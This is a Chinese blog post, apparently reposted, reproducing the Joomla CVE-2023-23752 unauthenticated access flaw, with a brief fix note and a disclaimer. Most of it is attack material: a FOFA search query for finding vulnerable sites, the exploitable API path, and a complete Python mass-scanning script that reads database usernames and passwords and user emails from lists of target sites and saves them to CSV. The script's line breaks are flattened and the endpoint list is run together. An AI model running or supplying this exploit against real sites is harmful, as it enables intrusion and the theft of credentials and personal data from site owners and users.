Joomla未授权访问漏洞|CVE-2023-23752复现及修复

渗透技巧 1年前 (2023) admin
481 0 0

1

声明

本公众号的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

本文所提供的工具仅用于学习、漏洞验证,禁止用于非法用途!

Joomla未授权访问漏洞|CVE-2023-23752复现及修复
00 前言

 

这漏洞公开有阵子了好像,今天才复现了下
Joomla未授权访问漏洞|CVE-2023-23752复现及修复
Joomla未授权访问漏洞|CVE-2023-23752复现及修复

Jooml 在海外使用较多,是一套使用 PHP 和 MySQL 开发的开源、跨平台的内容管理系统(CMS)。
Joomla 4.0.0 至 4.2.7 版本中的 ApiRouter.php#parseApiRoute 在处理用户的 Get 请求时未对请求参数有效过滤,导致攻击者可向 Joomla 服务端点发送包含 public=true 参数的请求(如:/api/index.php/v1/config/application?public=true&key=value) 进行未授权访问

Joomla未授权访问漏洞|CVE-2023-23752复现及修复
 

Joomla未授权访问漏洞|CVE-2023-23752复现及修复
01 FOFA指纹

 

product="Joomla"

Joomla未授权访问漏洞|CVE-2023-23752复现及修复

Joomla未授权访问漏洞|CVE-2023-23752复现及修复
02 影响版本

 

4.0.0 <= Joomla <= 4.2.7
 

Joomla未授权访问漏洞|CVE-2023-23752复现及修复
03 漏洞详情

在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。

未授权路径在:

/api/index.php/v1/config/application?public=true

我们可以直接看到数据库的配置信息。

Joomla未授权访问漏洞|CVE-2023-23752复现及修复

其他可利用接口
v1/bannersv1/banners/:idv1/bannersv1/banners/:idv1/banners/:idv1/banners/clientsv1/banners/clients/:idv1/banners/clientsv1/banners/clients/:idv1/banners/clients/:idv1/banners/categoriesv1/banners/categories/:idv1/banners/categoriesv1/banners/categories/:idv1/banners/categories/:idv1/banners/:id/contenthistoryv1/banners/:id/contenthistory/keepv1/banners/:id/contenthistoryv1/config/applicationv1/config/applicationv1/config/:component_namev1/config/:component_namev1/contacts/form/:idv1/contactsv1/contacts/:idv1/contactsv1/contacts/:idv1/contacts/:idv1/contacts/categoriesv1/contacts/categories/:idv1/contacts/categoriesv1/contacts/categories/:idv1/contacts/categories/:idv1/fields/contacts/contactv1/fields/contacts/contact/:idv1/fields/contacts/contactv1/fields/contacts/contact/:idv1/fields/contacts/contact/:idv1/fields/contacts/mailv1/fields/contacts/mail/:idv1/fields/contacts/mailv1/fields/contacts/mail/:idv1/fields/contacts/mail/:idv1/fields/contacts/categoriesv1/fields/contacts/categories/:idv1/fields/contacts/categoriesv1/fields/contacts/categories/:idv1/fields/contacts/categories/:idv1/fields/groups/contacts/contactv1/fields/groups/contacts/contact/:idv1/fields/groups/contacts/contactv1/fields/groups/contacts/contact/:idv1/fields/groups/contacts/contact/:idv1/fields/groups/contacts/mailv1/fields/groups/contacts/mail/:idv1/fields/groups/contacts/mailv1/fields/groups/contacts/mail/:idv1/fields/groups/contacts/mail/:idv1/fields/groups/contacts/categoriesv1/fields/groups/contacts/categories/:idv1/fields/groups/contacts/categoriesv1/fields/groups/contacts/categories/:idv1/fields/groups/contacts/categories/:idv1/contacts/:id/contenthistoryv1/contacts/:id/contenthistory/keepv1/contacts/:id/contenthistoryv1/content/articlesv1/content/articles/:idv1/content/articlesv1/content/articles/:idv1/content/articles/:idv1/content/categoriesv1/content/categories/:idv1/content/categoriesv1/content/categories/:idv1/content/categories/:idv1/fields/content/articlesv1/fields/content/articles/:idv1/fields/content/articlesv1/fields/content/articles/:idv1/fields/content/articles/:idv1/fields/content/categoriesv1/fields/content/categories/:idv1/fields/content/categoriesv1/fields/content/categories/:idv1/fields/content/categories/:idv1/fields/groups/content/articlesv1/fields/groups/content/articles/:idv1/fields/groups/content/articlesv1/fields/groups/content/articles/:idv1/fields/groups/content/articles/:idv1/fields/groups/content/categoriesv1/fields/groups/content/categories/:idv1/fields/groups/content/categoriesv1/fields/groups/content/categories/:idv1/fields/groups/content/categories/:idv1/content/articles/:id/contenthistoryv1/content/articles/:id/contenthistory/keepv1/content/articles/:id/contenthistoryv1/extensionsv1/languages/contentv1/languages/content/:idv1/languages/contentv1/languages/content/:idv1/languages/content/:idv1/languages/overrides/searchv1/languages/overrides/search/cache/refreshv1/languages/overrides/site/zh-CNv1/languages/overrides/site/zh-CN/:idv1/languages/overrides/site/zh-CNv1/languages/overrides/site/zh-CN/:idv1/languages/overrides/site/zh-CN/:idv1/languages/overrides/administrator/zh-CNv1/languages/overrides/administrator/zh-CN/:idv1/languages/overrides/administrator/zh-CNv1/languages/overrides/administrator/zh-CN/:idv1/languages/overrides/administrator/zh-CN/:idv1/languages/overrides/site/en-GBv1/languages/overrides/site/en-GB/:idv1/languages/overrides/site/en-GBv1/languages/overrides/site/en-GB/:idv1/languages/overrides/site/en-GB/:idv1/languages/overrides/administrator/en-GBv1/languages/overrides/administrator/en-GB/:idv1/languages/overrides/administrator/en-GBv1/languages/overrides/administrator/en-GB/:idv1/languages/overrides/administrator/en-GB/:idv1/languagesv1/languagesv1/media/adaptersv1/media/adapters/:idv1/media/filesv1/media/files/:path/v1/media/files/:pathv1/media/filesv1/media/files/:pathv1/media/files/:pathv1/menus/sitev1/menus/site/:idv1/menus/sitev1/menus/site/:idv1/menus/site/:idv1/menus/administratorv1/menus/administrator/:idv1/menus/administratorv1/menus/administrator/:idv1/menus/administrator/:idv1/menus/site/itemsv1/menus/site/items/:idv1/menus/site/itemsv1/menus/site/items/:idv1/menus/site/items/:idv1/menus/administrator/itemsv1/menus/administrator/items/:idv1/menus/administrator/itemsv1/menus/administrator/items/:idv1/menus/administrator/items/:idv1/menus/site/items/typesv1/menus/administrator/items/typesv1/messagesv1/messages/:idv1/messagesv1/messages/:idv1/messages/:idv1/modules/types/sitev1/modules/types/administratorv1/modules/sitev1/modules/site/:idv1/modules/sitev1/modules/site/:idv1/modules/site/:idv1/modules/administratorv1/modules/administrator/:idv1/modules/administratorv1/modules/administrator/:idv1/modules/administrator/:idv1/newsfeeds/feedsv1/newsfeeds/feeds/:idv1/newsfeeds/feedsv1/newsfeeds/feeds/:idv1/newsfeeds/feeds/:idv1/newsfeeds/categoriesv1/newsfeeds/categories/:idv1/newsfeeds/categoriesv1/newsfeeds/categories/:idv1/newsfeeds/categories/:idv1/pluginsv1/plugins/:idv1/plugins/:idv1/privacy/requestsv1/privacy/requests/:idv1/privacy/requests/export/:idv1/privacy/requestsv1/privacy/consentsv1/privacy/consents/:idv1/privacy/consents/:idv1/redirectsv1/redirects/:idv1/redirectsv1/redirects/:idv1/redirects/:idv1/tagsv1/tags/:idv1/tagsv1/tags/:idv1/tags/:idv1/templates/styles/sitev1/templates/styles/site/:idv1/templates/styles/sitev1/templates/styles/site/:idv1/templates/styles/site/:idv1/templates/styles/administratorv1/templates/styles/administrator/:idv1/templates/styles/administratorv1/templates/styles/administrator/:idv1/templates/styles/administrator/:idv1/usersv1/users/:idv1/usersv1/users/:idv1/users/:idv1/fields/usersv1/fields/users/:idv1/fields/usersv1/fields/users/:idv1/fields/users/:idv1/fields/groups/usersv1/fields/groups/users/:idv1/fields/groups/usersv1/fields/groups/users/:idv1/fields/groups/users/:idv1/users/groupsv1/users/groups/:idv1/users/groupsv1/users/groups/:idv1/users/groups/:idv1/users/levelsv1/users/levels/:idv1/users/levelsv1/users/levels/:idv1/users/levels/:id

 

Joomla未授权访问漏洞|CVE-2023-23752复现及修复
04 验证脚本

 

脚本如下:

import requestsimport argparseimport csvimport json
timeout = 10
output = ""proxy = {}notColor = False

def inGreen(s):    return "33[0;32m{}33[0m".format(s)
def inYellow(s):    return "33[0;33m{}33[0m".format(s)
def readFile(filepath):    file = open(filepath, encoding='utf8')    return file.readlines()

def writeFile(filepath, data):    file = open(filepath, 'a', encoding='utf8')    filecsv = csv.writer(file)    filecsv.writerow(data)

def reqDatabase(url):    if url.rindex("/") == len(url) - 1:        url = "{}api/index.php/v1/config/application?public=true".format(url)    else:        url = "{}/api/index.php/v1/config/application?public=true".format(url)
    payload = {}    headers = {        'Upgrade-Insecure-Requests': '1',        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',        'Accept-Encoding': 'gzip, deflate',        'Accept-Language': 'zh-CN,zh;q=0.9',        'Connection': 'close'    }
    response = requests.request("GET", url, headers=headers, data=payload, verify=False, proxies=proxy, timeout=timeout)
    # print(response.text)    if "links" in response.text and ""password":" in response.text:        try:            rejson = json.loads(response.text)            user = ""            password = ""            for dataone in rejson['data']:                # print(dataone['attributes'])                if "user" in dataone['attributes']:                    user = dataone['attributes']['user']                if "password" in dataone['attributes']:                    password = dataone['attributes']['password']            if user != "" or password != "":                printBody = "[+] [Database]   {} --> {} / {}".format(url, user, password)                if notColor:                    print(printBody)                else:                    print(inYellow(printBody))                if output.strip() != "":                    writeFile(output + "_databaseUserAndPassword.csv", [url, user, password, response.text])            return url, response.text        except:            pass

def reqUserAndEmail(url):    if url.rindex("/") == len(url) - 1:        url = "{}api/index.php/v1/users?public=true".format(url)    else:        url = "{}/api/index.php/v1/users?public=true".format(url)
    payload = {}    headers = {        'Upgrade-Insecure-Requests': '1',        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',        'Accept-Encoding': 'gzip, deflate',        'Accept-Language': 'zh-CN,zh;q=0.9',        'Connection': 'close'    }
    response = requests.request("GET", url, headers=headers, data=payload, verify=False, proxies=proxy, timeout=timeout)
    if "username" in response.text and "email" in response.text:        try:            rejson = json.loads(response.text)            for dataone in rejson['data']:                username = ""                email = ""                # print(dataone['attributes'])                if "username" in dataone['attributes']:                    username = dataone['attributes']['username']                if "email" in dataone['attributes']:                    email = dataone['attributes']['email']                if username != "" or email != "":                    printBody = "[+] [User&email] {} --> {} / {}".format(url, username, email)                    if notColor:                        print(printBody)                    else:                        print(inGreen(printBody))                    if output.strip() != "":                        writeFile(output + "_usernameAndEmail.csv", [url, username, email, response.text])            return url, response.text        except:            pass

def reqs(listfileName):    urls = readFile(listfileName)    for url in urls:        url = url.strip()        if url == "":            continue        reqDatabase(url)        reqUserAndEmail(url)

def main():    parser = argparse.ArgumentParser()    parser.add_argument('-u', '--url', type=str, default="", help="测试目标的 URL")    parser.add_argument('-l', '--listfile', type=str, default="", help="测试目标的地址文件")    parser.add_argument('-o', '--output', type=str, default="", help="输出文件的位置")    parser.add_argument('-p', '--proxy', type=str, default="", help="代理,如:http://localhost:1080")    parser.add_argument('-nc', '--notColor', type=bool, default=False, help="禁止带颜色的输出,如:-nc true")
    opt = parser.parse_args()    args = vars(opt)    url = args['url']    urlFileName = args['listfile']    global output, proxy, notColor    output = args['output']    proxy['http'] = args['proxy']    proxy['https'] = args['proxy']    notColor = args['notColor']
    if url != "":        reqDatabase(url)    if urlFileName != "":        reqs(urlFileName)

if __name__ == '__main__':    main()

缺依赖的话自行导入即可使用,使用命令:

python main.py  -u  http://127.0.0.1:8087/

Joomla未授权访问漏洞|CVE-2023-23752复现及修复

Joomla未授权访问漏洞|CVE-2023-23752复现及修复
05 修复建议

目前该漏洞已经修复,受影响用户可及时升级到Joomla! CMS 版本4.2.8。

 

喜欢就点个关注一起进步吧

原文始发于微信公众号(瓜神学习网络安全):Joomla未授权访问漏洞|CVE-2023-23752复现及修复

版权声明:admin 发表于 2023年3月15日 下午5:24。
转载请注明:Joomla未授权访问漏洞|CVE-2023-23752复现及修复 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...